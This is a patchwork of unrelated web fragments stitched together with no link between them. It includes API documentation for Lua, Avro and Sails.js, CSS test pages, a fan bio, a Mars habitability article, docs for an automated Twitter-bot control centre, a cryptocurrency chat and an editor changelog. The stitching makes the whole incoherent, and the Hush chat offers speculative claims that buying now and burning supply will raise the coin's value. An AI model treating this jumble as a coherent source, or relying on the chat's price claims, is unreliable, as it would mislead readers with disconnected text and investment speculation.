Do you know history? Before the Humans came, this island was a holy place for Elves of light. I heard they were powerful enchanters, who communed with spirits. And this ruin was the School of Wizardry built by the Elves for Humans.
Ask about the School of Wizardry.
Quest


Abram's
Sky Calendar - sheet for each month takes the form of a calendar,
the reverse contains a star map of the month's evening sky, available
by subscription and received quarterly through the mail
AstroViewer
- AstroViewer is an interactive night sky map that helps you to find
your way in the night sky quickly and easily.
SkyGlobe Download
- one of many sites from which the SkyGlobe Planetarium Shareware
Program can be downloaded, it is an excellent program in my opinion
(runs on PCs only)
Skymaps.com - 2-page monthly
guide to the night skies of the northern and southern hemispheres including
a sky chart and a short descriptive article
StarCalc - planetarium
and star mapping shareware program for PCs (Windows 9x/ME/NT/2000/XP)
and PocketPCs
Uncle
Al's Sky Wheels - make-it-yourself planisphere (constellation map
good for any time of night, any night of the year - I believe it is
for ~40° N latitude)


Time to wear a shamrock, go green, get jiggy and grow all the way!
Make this Paddy's Day very special one for your friends, family and loved ones by sending them a greetings card!


This is to test the float: property. If the following text is positioned to the left, the test passes.
This is a test.
This is to test the float: property. If the following text is positioned to the right, the test passes.
This is a test.
This is to test the float: property. If the following text is positioned to the left, the test passes.
This is a test.
This is to test the clear: property. If the text appears below and to the left of the image, the test passes.
This is a test.
This is to test the clear: property. If the following image is placed to the right of the paragraph, the test passes.
This is a test.
This is to test the clear: property. If the text appears below and to the left of the image, the test passes.
This is a test.


Visibility provides a set of callbacks for when a content appears in the viewport
As an alternative to pagination you can use onBottomVisible
to load content automatically when the bottom of a container is reached.
Visibility includes several shortcuts for setting up common visibility events. Using the suiVisibility directive on image html elements will automatically attach events to an images onOnScreen
event to load the contents of imageSrc
as src.
You can specify a placeholder image as the current src or as defaultSrc
to make sure content doesn't jump when an image loads, or you can specify no placeholder and have the image appear.
By default images will appear without animation, however you can also specify a named transition
, and a duration
that should be used for animating the image into view.
Visibility provides a lightweight method for sticking content to a page's viewport. Using [fixed]="true"
will add the class fixed
after an element is passed in the viewport. Using this class name you can assign special layout conditions to an item once it is passed.
Using the special visibility type fixed will automatically create a placeholder element, which will be shown or hidden after an element is passed, to ensure that the page's position does not change when the element is "fixed" and removed from normal layout flow.
In this example, when an element is passed we fix it to the viewport, add a box shadow and set the z-index value so that it can float above other content. We also show an adjacent placeholder element which makes sure that content stays offset the same as if the menu was still in content flow.
Content fixing example stlyesheet


×
TAKESHI'S CASTLE
DESCRIPTION
Team of 2 and a guide sent into the room. There are various puzzles within the room which the contests have to figure out and solve to win the competition.
RULES
- Team event (2 persons per team).
- Consists of two rounds.
- First round is a quiz of 8 questions.
- Based on the result of first round the participants will be selected for second round.
- Round two consist of 4 tasks.
- Each contestants are required to complete all of the 4 tasks within the given time limit.
- Judgement will be based on time taken and completeness of each task.


It was the first night I ever spent away from home and my first tornado. I was four.
All I knew about tornadoes I had learned from The Wizard of Oz. I thought the house was going to fly away and my cousin could not convince me otherwise.
I grew up in Kansas, so it was far from my last tornado. They never scared me like that first one. That one gave me nightmares for the rest of my childhood.


Module bitset
A simple bitset implementation, accelerated with C.
Uses 32-bit integers for hypothetical portability. Tested and compatible with LuaJIT and Lua 5.1.
Class Bitset
| Bitset:new (size, init) | Allocate a new bitset. |
| Bitset:set (idx) | Sets a single bit in the bitset, at a given index. |
| Bitset:set_range (lo, hi) | Sets a range of bits in the bitset, [lo, hi) . |
| Bitset:clear (idx) | Clears a single bit in the bitset, at a given index. |
| Bitset:clear_range (lo, hi) | Clears a range of bits in the bitset, [lo, hi) . |
| Bitset:get (idx) | Gets a single bit in the bitset, at a given index. |
| Bitset:get_range (lo, hi) | Gets a range of bits in the bitset, as a table. |
| Bitset:count () | Counts how many bits are set in the bitset. |
| Bitset:intersection (lhs, rhs) | The intersection of two bitsets. |
| Bitset:intersection_mut (lhs, rhs) | The in-place intersection of two bitsets. |
| Bitset:union (lhs, rhs) | The union of two bitsets. |
| Bitset:union_mut (lhs, rhs) | The in-place union of two bitsets. |
| Bitset:difference (lhs, rhs) | The asymmetric difference of two bitsets. |
| Bitset:difference_mut (lhs, rhs) | The in-place asymmetric difference of two bitsets. |
| Bitset:symmetric_diff (lhs, rhs) | The symmetric difference of two bitsets. |
| Bitset:symmetric_diff_mut (lhs, rhs) | The in-place symmetric difference of two bitsets. |
Class Bitset
- Bitset:new (size, init)
-
Allocate a new bitset.
Capable of allocating a new bitset, with an optional bit capacity. If specified,
the bits of the newly allocated bitset can be set to all one. If called with a
bitset as the first argument instead of a number, the bitset will be cloned.
Parameters:
- size num or Bitset the size of a bitset to allocate. Or, if a bitset, the bitset to copy.
- init bool if true, set all newly allocated bits.
Returns:
-
Bitset
a newly allocated bitset.
- Bitset:set (idx)
-
Sets a single bit in the bitset, at a given index.
The bitset is modified in place, but for convenience, it is also returned.
Parameters:
- idx num the index of the bit to set.
Returns:
-
Bitset
the modified bitset.
- Bitset:set_range (lo, hi)
-
Sets a range of bits in the bitset,
[lo, hi)
. The bitset is modified in place, but for convenience, it is also returned. The parameters are namedlo
andhi
, but iflo
is greater thanhi
, set_range will swap them internally. The low bound is inclusive while the high bound is exclusive.Parameters:
- lo num the low index of the range to set.
- hi num the high index of the range to set.
Returns:
-
Bitset
the modified bitset.
- Bitset:clear (idx)
-
Clears a single bit in the bitset, at a given index.
The bitset is modified in place, but for convenience, it is also returned.
Parameters:
- idx num the index of the bit to clear.
Returns:
-
Bitset
the modified bitset.
- Bitset:clear_range (lo, hi)
-
Clears a range of bits in the bitset,
[lo, hi)
. The bitset is modified in place, but for convenience, it is also returned. The parameters are namedlo
andhi
, but iflo
is greater thanhi
, clear_range will swap them internally. The low bound is inclusive while the high bound is exclusive.Parameters:
- lo num the low index of the range to clear.
- hi num the high index of the range to clear.
Returns:
-
Bitset
the modified bitset.
- Bitset:get (idx)
-
Gets a single bit in the bitset, at a given index.
Parameters:
- idx num the index of the bit to get.
Returns:
-
bool
whether the bit is set.
- Bitset:get_range (lo, hi)
-
Gets a range of bits in the bitset, as a table.
Parameters:
- lo num the low bound of the range to get.
- hi num the high bound of the range to get.
Returns:
-
{bool,...}
the range set. Indexing starts at 1, and ends at
hi - lo + 1
. - Bitset:count ()
-
Counts how many bits are set in the bitset.
Returns:
-
num
the number of set bits.
- Bitset:intersection (lhs, rhs)
-
The intersection of two bitsets. Also available as the
*
operator. NOTE: Bitset:intersection is a constructive operation. That is, it allocates a new bitset to hold the results. For an in-place intersection, see Bitset:intersection_mut.Parameters:
Returns:
-
Bitset
a newly allocated bitset containing the intersection.
See also:
- Bitset:intersection_mut (lhs, rhs)
-
The in-place intersection of two bitsets.
NOTE: Bitset:intersection_mut is a destructive operation. That is, it
mutates the left-hand operand passed to it instead of allocating a new bitset.
For a constructive intersection operation, see Bitset:intersection.
Parameters:
- lhs Bitset the left-hand bitset to intersect. Is mutated to contain the intersection.
- rhs Bitset the right-hand bitset to intersect.
Returns:
-
Bitset
the left-hand bitset is modified in-place, but returned for convenience.
See also:
- Bitset:union (lhs, rhs)
-
The union of two bitsets. Also available as the
+
operator. NOTE: Bitset:union is a constructive operation. That is, it allocates a new bitset to hold the results. For an in-place union, see Bitset:union_mut.Parameters:
Returns:
-
Bitset
a newly allocated bitset containing the union.
See also:
- Bitset:union_mut (lhs, rhs)
-
The in-place union of two bitsets.
NOTE: Bitset:union_mut is a destructive operation. That is, it mutates the
left-hand operand passed to it instead of allocating a new bitset. For a
constructive union operation, see Bitset:union.
Parameters:
- lhs Bitset the left-hand bitset to union. Is mutated to contain the union.
- rhs Bitset the right-hand bitset to union.
Returns:
-
Bitset
the left-hand bitset is modified in-place, but returned for convenience.
See also:
- Bitset:difference (lhs, rhs)
-
The asymmetric difference of two bitsets. Also available as the
-
operator. Returns a newly allocated bitset with bits set iff they are set in the left-hand operand but not in the right-hand operand.NOTE: Bitset:difference is a constructive operation. That is, it allocates a new bitset to return the results. For an in-place asymmetric difference operation, see Bitset:difference_mut.
Parameters:
Returns:
-
Bitset
a newly allocated bitset with all bits set that are set in
lhs
but not inrhs
.See also:
- Bitset:difference_mut (lhs, rhs)
-
The in-place asymmetric difference of two bitsets.
Clears any bits in the left-hand operand if they are set in the right-hand.
NOTE: Bitset:difference_mut is a destructive operation. That is, it modifies the left-hand operand in-place instead of allocating a new bitset to hold the result. For a constructive asymmetric difference operation, see Bitset:difference.
Parameters:
Returns:
-
Bitset
the left-hand bitset is modified in place, but returned for convenience.
See also:
- Bitset:symmetric_diff (lhs, rhs)
-
The symmetric difference of two bitsets.
Returns a newly allocated bitset with bits set iff they are set in only the
left-hand operand or the right-hand operand, but not both.
NOTE: Bitset:symmetric_diff is a constructive operation. That is, it allocates a new bitset to hold the result rather than modifying the operands in-place. For an in-place symmetric difference operation, see Bitset:symmetric_diff_mut.
Parameters:
- lhs Bitset the left-hand bitset for the symmetric difference operation.
- rhs Bitset the right-hand bitset for the symmetric difference operation.
Returns:
-
Bitset
a newly allocated bitset with all bits set that are set in either
lhs
orrhs
, but not in both.See also:
- Bitset:symmetric_diff_mut (lhs, rhs)
-
The in-place symmetric difference of two bitsets.
Modifies the left-hand operand to contain bits that are set in the right-hand
but not in the left-hand, and clears any bits that are set in both.
NOTE: Bitset:symmetric_diff_mut is a destructive operation. That is, it modifies the left-hand operand in-place instead of allocating a new bitset to hold the result. For a constructive symmetric difference operation, see Bitset:symmetric_diff.
Parameters:
Returns:
-
Bitset
the left-hand bitset is modified in place, but returned for convenience.
See also:


|
Avro C++
|
A no-copy input stream. More...
#include <Stream.hh>
Public Member Functions | |
| virtual | ~InputStream () |
| Destructor. | |
| virtual bool | next (const uint8_t **data, size_t *len)=0 |
| Returns some of available data. | |
| virtual void | backup (size_t len)=0 |
| "Returns" back some of the data to the stream. | |
| virtual void | skip (size_t len)=0 |
| Skips number of bytes specified by len. | |
| virtual size_t | byteCount () const =0 |
| Returns the number of bytes read from this stream so far. | |
Protected Member Functions | |
| InputStream () | |
| An empty constuctor. |
A no-copy input stream.
| virtual void avro::InputStream::backup | ( | size_t | len | ) | [pure virtual] |
"Returns" back some of the data to the stream.
The returned data must be less than what was obtained in the last call to next().
Referenced by avro::StreamReader::reset().
| virtual size_t avro::InputStream::byteCount | ( | ) | const [pure virtual] |
Returns the number of bytes read from this stream so far.
All the bytes made available through next are considered to be used unless, retutned back using backup.
| virtual bool avro::InputStream::next | ( | const uint8_t ** | data, |
| size_t * | len | ||
| ) | [pure virtual] |
Returns some of available data.
Returns true if some data is available, false if no more data is available or an error has occurred.
Referenced by avro::copy(), and avro::StreamReader::fill().


{% extends 'layout-newia.html' %} {% block pageTitle %} Mental Health {% endblock %} {% block beforeContent %} {% endblock %} {% block content %}
Find out about mental health conditions.
Read about depression, including information on the different types, how to cope, self-help, therapy and support groups.
Read about anxiety, including information on the different types, how to cope and anxiety in children.
Read about eating problems, including information on the different types, how to cope and supporting someone else.


Seek Signs of Life
Habitability
Chemical, physical, geological, and geographic attributes shape the environments on Mars. Isolated measurements of these factors may be insufficient to deem an environment habitable, but the sum of measurements can help predict locations with greater or lesser habitability potential. The two current ecological approaches for predicting the potential habitability of the Martian surface use 19 or 20 environmental factors, with an emphasis on water availability, temperature, the presence of nutrients, an energy source, and protection from solar ultraviolet and galactic cosmic radiation.
Liquid water
Liquid water is a necessary but not sufficient condition for life as humans know it, as habitability is a function of a multitude of environmental parameters. Water on Mars exists almost exclusively as water ice, located in the Martian polar ice caps and under the shallow Martian surface even at more temperate latitudes. A small amount of water vapor is present in the atmosphere. There are no bodies of liquid water on the Martian surface because its atmospheric pressure at the surface averages 600 pascals (0.087 psi)—about 0.6% of Earth's mean sea level pressure—and because the temperature is far too low, (210 K (−63 °C)) leading to immediate freezing. Despite this, about 3.8 billion years ago, there was a denser atmosphere, higher temperature, and vast amounts of liquid water flowed on the surface, including large oceans.
Possible Biosignatures
In May 2017, evidence of the earliest known life on land on Earth may have been found in 3.48-billion-year-old geyserite and other related mineral deposits (often found around hot springs and geysers) uncovered in the Pilbara Craton of Western Australia. These findings may be helpful in deciding where best to search for early signs of life on the planet Mars. The seasonal frosting and defrosting of the southern ice cap results in the formation of spider-like radial channels carved on 1-meter thick ice by sunlight. Then, sublimed CO2 – and probably water – increase pressure in their interior producing geyser-like eruptions of cold fluids often mixed with dark basaltic sand or mud. This process is rapid, observed happening in the space of a few days, weeks or months, a growth rate rather unusual in geology – especially for Mars.
Human Colonization of Mars
Some of the main reasons for colonizing Mars include economic interests, long-term scientific research best carried out by humans as opposed to robotic probes, and sheer curiosity. Surface conditions and the presence of water on Mars make it arguably the most hospitable of the planets in the Solar System, other than Earth. Human colonization of Mars would require in situ resource utilization (ISRU); A NASA report states that "applicable frontier technologies include robotics, machine intelligence, nanotechnology, synthetic biology, 3-D printing/additive manufacturing, and autonomy. These technologies combined with the vast natural resources should enable, pre- and post-human arrival ISRU to greatly increase reliability and safety and reduce cost for human colonization of Mars.


Trixes full name is Beatrice Sting. She is no slouch on the Slugslinging field. She is a member of the Shane Gang. Trixie's shots are always a bulls eye. But when it comes to dueling she can also spot details. She makes Slugisodes using her trusty camera. To teach people about Slugs. And how to care for them. As well as how to duel. Her dream is to make a documentary film about Slugs and their little society they have together.
To help come up with a smart strategy for the team.
Trixie is generally kind.
And thoughtful person.
Although she likes to keep an eye out for unusual Slugs.
She always has her head in the game.
Trixie is extremely loyal to the Shane Gang.
And will help all of them while needed.
Especially the leader, Eli Shane.
Although he is keeping secrets from them.
Trixie always manages to convince him to tell them their secrets as they are "family".
Trixie is also seen to be slightly short-tempered, especially with Pronto. She also has a reckless attitude similar to Eli, but on a much smaller scale. Not much known is about her past, but she seemingly lived with parent(s).
And can often spot an exit. Or a come up with a new tactic. When the team is caught up in the fight. She has a strong sense of justice. As Trixie says that she would try to keep the peace. She has a strong bond with her slugs. And cares about them. Her signature or favourite slug is the tornado slug. She treats the Shane Gang as her family. Trixie is also seen to be slightly short-tempered.
This was largely in part due to the disappearance of Will Shane.
After which slingers came and terrorized her home cavern.
Trixie decided to spread the news of what was happening in Slugterra.
Both good news and bad news.
And she faithfully helps Eli gain acknowledgment as the new Shane.
Especially with Pronto.
She also has a reckless attitude similar to Eli.
But on a much smaller scale.
Not much known is about her past.
But she seemingly lived with parents.
As a young teenage girl, she has a skinny, slender build and is slightly shorter than your average person. She is seen to be fit and athletic, and much stronger than she appears. Trixie has fire-red hair that's tied up in two pigtails and long bangs that cover the right side of her face, as well as grassy green eyes.


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|
My Project
|
Public Member Functions | |
| def | __init__ (self) |
| def | action (self, message) |
| def | follow_user (self, data) |
| def | like_tweet (self, data) |
| def | retweet (self, data) |
| def | reply_tweet (self, data) |
| def | request_tweet_like (self, data) |
| def | request_retweet (self, data) |
| def | request_tweet_reply (self, data) |
| def | request_follow_user (self, data) |
| def | save_user (self, data) |
| def | save_tweet (self, data) |
| def | save_dm (self, data) |
| def | error (self, data) |
| def | find_followers (self, data) |
| def | send (self, bot, message_type, params) |
| def | received_message_handler (self, channel, method, properties, body) |
| def | run (self) |
| def | close (self) |
| Public Member Functions inherited from twitter.wrappers.rabbitmq_wrapper.Rabbitmq | |
| def | __init__ (self, host=RABBITMQ_URL, port=RABBITMQ_PORT, vhost=VHOST, username=RABBITMQ_USERNAME, password=RABBITMQ_PASSWORD) |
| def | received_message_handler (self, channel, method, properties, body) |
Public Attributes | |
| postgress_client | |
| mongo_client | |
| neo4j_client | |
| pep | |
| Public Attributes inherited from twitter.wrappers.rabbitmq_wrapper.Rabbitmq | |
| pika_parameters | |
| reconnection_attempt | |
| MAX_RECONNECTIONS | |
| connection | |
| channel | |
Class to smulate the behaviour of a bot: On receiving a message from a message broker, this class will act accordingly
| def twitter.control_center.dbwriter.DBWriter.__init__ | ( | self | ) |
This will start instaces for all the DB's API
| def twitter.control_center.dbwriter.DBWriter.error | ( | self, | |
| data | |||
| ) |
Stores error that may have occured in the running of a bot: Calls the postgres stats to log the error @param data: dict with the id of a bot and the error object
| def twitter.control_center.dbwriter.DBWriter.find_followers | ( | self, | |
| data | |||
| ) |
Function that writes the follow relationship on the Neo4j API database; The function will also request for the bot who sent the message to follow the users who follow one of the bot's followers @param data: dict with the id of a bot and a second dictionary with the bot's followers' ID as keys that map to his followers
| def twitter.control_center.dbwriter.DBWriter.follow_user | ( | self, | |
| data | |||
| ) |
Action to follow user: Calls neo4j to add new relation between bot and user Calls postgres_stats to add new log with the action details @param data: dict containing bot and the user he's following
| def twitter.control_center.dbwriter.DBWriter.like_tweet | ( | self, | |
| data | |||
| ) |
Action to like tweet: Calls postgres_stats to add new log @param data dict with the bot id and the tweet he liked
| def twitter.control_center.dbwriter.DBWriter.reply_tweet | ( | self, | |
| data | |||
| ) |
Action to reply a tweet: Calls progres_stats to add what the bot replied and to which tweet @param data: dict contaning bot and the reply they made
| def twitter.control_center.dbwriter.DBWriter.request_follow_user | ( | self, | |
| data | |||
| ) |
Action to request a follow: Calls the control center to request the follow Adds the log to postgres_stats, for the request and its result The result is based on the Policy API object @param data: dict containing the bot id and the tweet id
| def twitter.control_center.dbwriter.DBWriter.request_retweet | ( | self, | |
| data | |||
| ) |
Action to request a retweet: Calls the PEP to request the retweet Adds the log to postgres_stats, for the request and its result The result is based on the PDP methods 2param data: dict containing the bot id and the tweet id
| def twitter.control_center.dbwriter.DBWriter.request_tweet_like | ( | self, | |
| data | |||
| ) |
Action to request a like on tweeter: Calls the PEP to request a like Adds the log to postgres_stats, for the request and its result The result is based on the PDP methods @param data: dict containing the bot id and the tweet id
| def twitter.control_center.dbwriter.DBWriter.request_tweet_reply | ( | self, | |
| data | |||
| ) |
Action to request a reply: Calls the control center to request the reply Adds the log to postgres_stats, for the request and its result The result is based on the Policy API object @param data: dict containing the bot id and the tweet id
| def twitter.control_center.dbwriter.DBWriter.retweet | ( | self, | |
| data | |||
| ) |
Action to retweet: Calls postgres_stats to add new log @param data: dict containing bot and the tweet he retweeted
| def twitter.control_center.dbwriter.DBWriter.save_dm | ( | self, | |
| data | |||
| ) |
Stores the info about a bot's direct messages: Calls the mongo object to save or update a dm Adds the operation log to postgress_stats @param data: dict containignt the id of the bot and the DMs
| def twitter.control_center.dbwriter.DBWriter.save_tweet | ( | self, | |
| data | |||
| ) |
Stores info about a tweet: Calls the mongo object to save or update a tweet Adds the operation log to postgress_stats @param data: dict containing the id of the tweet to bee saved
| def twitter.control_center.dbwriter.DBWriter.save_user | ( | self, | |
| data | |||
| ) |
Stores info about a user: Calls the neo4j and the mongo object to update or store the user be it a bot or a user) Adds the log of the operation to postgress_stats If the user is a bot, must also call the Policy API object @param data: dict containing the id of the bot and the user object
| def twitter.control_center.dbwriter.DBWriter.send | ( | self, | |
| bot, | |||
| message_type, | |||
| params | |||
| ) |
Function the task uses to send messages through rabbit @param bot: id of the bot to reply @param message_type: ResponseTypes object with the type of message @param params: dict with arguments of the message


Gateway
BOT
16-Jul-19 02:08 PM
[dscrd-hush] <dukeleto> My focus is on increasing the price of Hush via making it useful, it's an "application coin", you use it do something, that is it's first reason to have value. Owning Hush = the ability to communicate privately, now and in the future. So you can also think of it as a "Store-of-Privacy". That is how it gets intrinsic value, in my mind. Speculation of future value is a secondary thing
[dscrd-hush] <dukeleto> And since it's has a very small total supply, if you use some privacy now, well you lesson your future store-of-privacy. Or you mine/buy more Hush. That is what gives Hush value. Privacy.
[dscrd-hush] <dukeleto> If you value Privacy a lot, you probably will value Hush a lot. If you don't value Privacy, you won't value Hush.
[dscrd-hush] <dukeleto> People who care most about Privacy will set the cost of Hush, because they will want to acquire it. They will dance with miners to find a middle ground of price
[dscrd-hush] <dukeleto> I can tell you right now that a new wave of ASICs were just delivered, the A9++'s from Innosilicon. You can mine ZEC/ZEN/HUSH/KMD with them. And that is definitely related to our current price plunge. Miners are selling to cover their costs (which are many)
[dscrd-hush] <dukeleto> And that just feeds into the larger correction we are in
[dscrd-hush] <dukeleto> Until we hit the first Hush halving in ~500 days, we are in the golden ages of mining and buying Hush on the cheap
[dscrd-hush] <dukeleto> This is my long-term view. I have no idea what the price of Hush will be between now and then, but the halving will very much change the price that miners will sell at. The price of ARRR changed drastically just after their recent halving
[dscrd-hush] <ITM> @RunningMantheCoin Agreed.
Looking at volume, the volume is just below 75000 hush the past 7 days(0.25BTC). Lot people are buying cheap and not selling.
Look at the curve and orderbook you will see less then 1 BTC to clean 98% orderbooks on all exchange. I know lot people whats to buy hush, but by doing so will raise the price by 3x, so they decide to buy low or mine it.
(edited)
[dscrd-hush] <dukeleto> also, I am just a coder, this is not financial advice
[dscrd-hush] <dukeleto> @ITM i imagine many long-term investors are very happy to pick up cheap Hush right now. It's only when you do the opposite of the crowd that you make huge financial wins. Doing what everybody else is doing gets average results
[dscrd-hush] <dukeleto> We also plan to burn 160,000 HUSH
[dscrd-hush] <dukeleto> we haven't done all the marketing for it, but it will happen
[dscrd-hush] <dukeleto> The original devs did a pre-mine of 160,000 HUSH, and so current devs will burn the same amount to bring us into spiritual balance
[dscrd-hush] <dukeleto> Investors, savvy ones, will be intrigued by that, I think. BNB burns a lot of stuff, but they are not a PoW coin, so it's way less interesting that they do it
[dscrd-hush] <ITM> @dukeleto Yep, as soon as the full communication stack is complete. I can bet bittrex(free) will list hush. Short term I feel we got enough exchanges and extremely decent exchanges.
[dscrd-hush] <dukeleto> We will be burning about 0.7% of TOTAL hush supply, or about 2.2% of current circulating Hush supply
[dscrd-hush] <dukeleto> Supply and demand dictates that this will make the remaining Hush more valuable, just like when somebody loses their BTC it makes all remaining BTC more valuable


--- layout: page pageid: detroit show_flyout: true flyout: inline social_photo: detroit-move.jpg title: "Detroit" description: "Blog posts by an ex-Silicon Valley guy living in Detroit." ---
I moved from San Francisco to Detroit on Oct 3, 2011. I've been here days and love it.
I moved to Detroit to create a legacy and become one of the leaders of Detroit's startup renaissance.
I write on startup topics affecting Detroit and the greater Midwest burgeoning startup scene.


Note: You are viewing the Sails.js v0.9.0 documentation. If you're looking for information on v0.8.x, please visit here.
This table routes urls to controllers/actions.
If the URL is not specified in config/routes.js
, the default route for a URL is:
/:controller/:action/:id
where :controller
, :action
, and the :id
request parameter are derived from the url
If :action
is not specified, Sails will redirect to the appropriate action. Out of the box,
Sails supports RESTful resourceful route conventions, as used in Backbone.js.
# Backbone Conventions
GET : /:controller => findAll()
GET : /:controller/read/:id => find(id)
POST : /:controller/create => create()
POST : /:controller/create/:id => create(id)
PUT : /:controller/update/:id => update(id)
DELETE: /:controller/destroy/:id => destroy(id)
# You can also explicitly state the action
GET : /:controller/find => findAll()
GET : /:controller/find/:id => find(id)
POST : /:controller/create => create(id)
PUT : /:controller/update/:id => update(id)
DELETE: /:controller/destroy/:id => destroy(id)
If the requested controller/action doesn't exist:
- if a view exists ( /views/:controller/:action.ejs
), Sails will render that view
- if no view exists, but a model exists, Sails will automatically generate a JSON API for the
model which matches :controller
.
- if no view OR model exists, Sails will respond with a 404.
You can define your own custom routes in config/routes.js
module.exports.routes = {
// To route the home page to the "index" action of the "home" controller:
'/': {
controller: 'home'
},
// Additional routes might look like:
'/whateverYouWant': {
controller: 'someController',
action: 'someAction'
},
// If you want to set up a route only for a particular HTTP method/verb
// (GET, POST, PUT, DELETE) you can specify the verb before the path:
'post /signup': {
controller: 'auth',
action: 'signup'
}
// Keep in mind default routes exist for each of your controllers
// So if you have a UserController with an action called "juggle"
// a route will be automatically exist mapping it to /user/juggle.
//
// Additionally, unless you override them, new controllers will have
// create(), find(), update(), and destroy() actions,
// and routes will exist for them as follows:
/*
// Standard RESTful routing
// If no id is given, an array of all users will be returned
'get /user/:id?': {
controller : 'user',
action : 'find'
}
'post /user': {
controller : 'user',
action : 'create'
}
'put /user/:id': {
controller : 'user',
action : 'update'
}
'delete /user/:id': {
controller : 'user',
action : 'destroy'
},
// Override the default index action (find) by declaring an "index" method in your controller
'get /user': {
controller : 'user',
action : 'index'
}
*/
};
Wildcard routes can also be defined in config/routes.js
. If say for example, you want all unknown routes (routes that aren't real) to point to a specific controller and action. Then you can use the :unkownRoute
arbitrary variable as the route. An example of this is shown below.
// config/routes.js
modules.exports.routes = {
'/some/route': {
controller: 'something',
action: 'foo'
},
// Wildcard (404) handler
'/:unknownRoute': {
controller: 'notfound'
action: 'index'
}
};
Arbitrary variables will take any value that is put in the router and pass it down to the controller and action you specify.
Another example, if say you want the route as the username of a user on your system, you could do the following.
'/:username': {
controller: 'user',
action: 'profile'
}
and in your controller,
module.exports = {
profile: function (req,res) {
var username = req.param('username');
User.findByUsername(username).done(function (err, user) {
if (err) return res.send(err,500);
res.view({ user: user });
});
}
};
This setup will allow UserA to visit http://yoursite.com/UserA and depending on your view, may see their profile page.


Comet parameter: use_Y_ions
- Controls whether or not Y-ions are considered in the search.
- Valid values are 0 and 1.
- To not use Y-ions, set the value to 0.
- To use Y-ions, set the value to 1.
- The default value is "1" if this parameter is missing.
Example:
use_Y_ions = 0
use_Y_ions = 1


--- layout: default type: Match --- {% include matchscorecolors.html AWins=page.TeamA.RoundWins BWins=page.TeamB.RoundWins %}


Creates a scratch org.
It executes the force:org:create command.
In addition to the attributes used by every ant-sfdx task, this task uses the following attributes:
| Attribute | Command line equivalent | Description | Required |
|---|---|---|---|
| alias | -a | An alias for the created scratch org. | No |
| clientid | -i | Connected app consumer key, as configured in your Dev Hub. | No |
| defaultusername | -s | If true, sets the created org as the default username. |
No; defaults to false |
| definitionfile | -f | A scratch org definition file. | No |
| durationdays | -d | Sets the duration of the scratch org, in days. Valid values are from 1-30. | No; defaults to 7 |
| noancestors | -c | If true, do not include second-generation package ancestors in the scratch org. |
No; defaults to false |
| nonamespace | -n | If true, creates the scratch org with no namespace. Useful when using a scratch org to test installations of packages with namespaces. |
No; defaults to false |
| targetdevhubusername | -v | A username or alias for the target Dev Hub org. | No |
| type | -t | Specifies the type of org to create. Acceptable values are:
|
No |
| wait | -w | Sets the streaming client socket timeout, in minutes. If the streaming client socket has no contact from the server for a number of minutes, the client exits. Specify a longer wait time if timeouts occur frequently. | No; defaults to 6 |
Specifies parameters to be used for the scratch org creation, sent as key=value pairs to the Salesforce DX CLI command. See property for usage guidelines.
Version: 0.0.0-master


--- layout: post title: 1/29 date: '2015-01-29T21:31:00.001-07:00' author: Jacob . tags: - progress-reports modified_time: '2015-01-30T17:46:24.880-07:00' blogger_id: tag:blogger.com,1999:blog-6400085873105072120.post-4965888040959340906 blogger_orig_url: http://www.svlark.com/2015/01/129.html --- More dinghy-engine break-in.


[gecode-users] Reified MiniZinc Decompositions of Globals are overridden for Gecode
Guido Tack
guido.tack at monash.edu
Tue May 3 05:12:28 CEST 2016
Hi,
that’s indeed a bit of a design problem in the current MiniZinc library. We’ve got a solution for it (at the MiniZinc level, so solvers wouldn’t have to change) but it’s not fully implemented yet (it would involve having standard decompositions for all reified globals, and solvers being able to override them if they have dedicated reified constraints).
Cheers,
Guido
--
GUIDO TACK
Senior Lecturer
Information Technology
Monash University
Level 6, Room 6.40, Building H, Caulfield Campus
900 Dandenong Road
Caulfield East VIC 3145
Australia
T: +61 3 9903 1214
E: guido.tack at monash.edu <mailto:guido.tack at monash.edu>
http://www.csse.monash.edu/~guidot/ <http://www.csse.monash.edu/~guidot/>
> On 2 May 2016, at 7:04 PM, Alexander Schiendorfer <alexander.schiendorfer at informatik.uni-augsburg.de> wrote:
>
> Hi everyone,
>
> I have a question regarding the MiniZinc globals definition of lex_less (among others) in Gecode,
> in particular how their reified version is treated.
>
> Say I wanted to solve the following model:
>
> % test if lexless can be used in reified mode
> array[1..5] of var 0..10: x;
> array[1..5] of var 0..10: y;
>
> include "globals.mzn";
> constraint alldifferent(x);
>
> constraint lex_less(x, y) \/ x[1] = 9;
> solve satisfy;
>
>
> Since, for example, the Gecode-specific "lex_less.mzn" file overwrites all predicate definitions there, we also
> lose the "lex_less_int_reif" decomposition specified in the standard MZN-library.
>
> Wouldn't it be nicer to have this decomposition available until there is a reified variant of "lex_less"?
> I tried copying "predicate lex_less_int_reif(...)" from "std" to Gecode's "lex_less.mzn" and it made the above
> model solvable.
>
> Is there a particular reason for not doing this?
>
> Cheers,
> Alex
>
> --
> Alexander Schiendorfer, M.Sc.
> Institute for Software & Systems Engineering
> Raum 3043, Gebäude N
> Universität Augsburg
>
> Web: http://www.informatik.uni-augsburg.de/lehrstuehle/swt/se/staff/aschiendorfer/
> Tel.: +49 (821) 598 - 2196
> E-Mail: alexander.schiendorfer at informatik.uni-augsburg.de
>
> SASO’16 - Tenth IEEE International Conference on Self-Adaptive and Self Organizing Systems
> Augsburg, Germany, 12-16 September 2016
> @SASO2016Conf
> http://uni-augsburg.de/saso2016 – Submit! Announce! Participate!
>
>
> _______________________________________________
> Gecode users mailing list
> users at gecode.org
> https://www.gecode.org/mailman/listinfo/gecode-users
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General
- Once per version, the editor will now inform you when a new version is available in the tools folder.
Wardrobe
- A "Classification" column has been added. This is used to classify your clothing into generic buckets (ex. a blouse, T-shirt, and sweatshirt could all be classified as a "shirt"). This makes it easier to condition dialogue based on a type of clothing being removed.
- Categories are maintained in opponents/clothing.xml. Admins can adjust this list to their liking and the editor will pick up the changes, so there is no need to rely on new versions of the editor to get updates.
- Authors will need to manually update existing characters' wardrobes to get the full benefits of this system.
- Added a delete button to each row, similar to the dialogue and marker grids.
Dialogue
- Added a Folder view for sorting cases. This view organizes cases by folder name (defined in the "Case" part of the case editor). This view is special in that you can drag and drop cases within the same folder to apply your own custom sorting. This could be useful if you want to group special chains of targeted dialogue (ex. a conversation with another character) to provide a better overview of what lines apply. Please note that any sorting and folder grouping you apply is only for organizational purposes within the editor. It does not affect priority in game.
- Day, month, and weekday checks have been added to the Game condition menu.
- The variable test dropdown has been cleaned up. Things like ~target.costume~ should be accessed using Player > Target > Costume and filling in "Target" as the player.
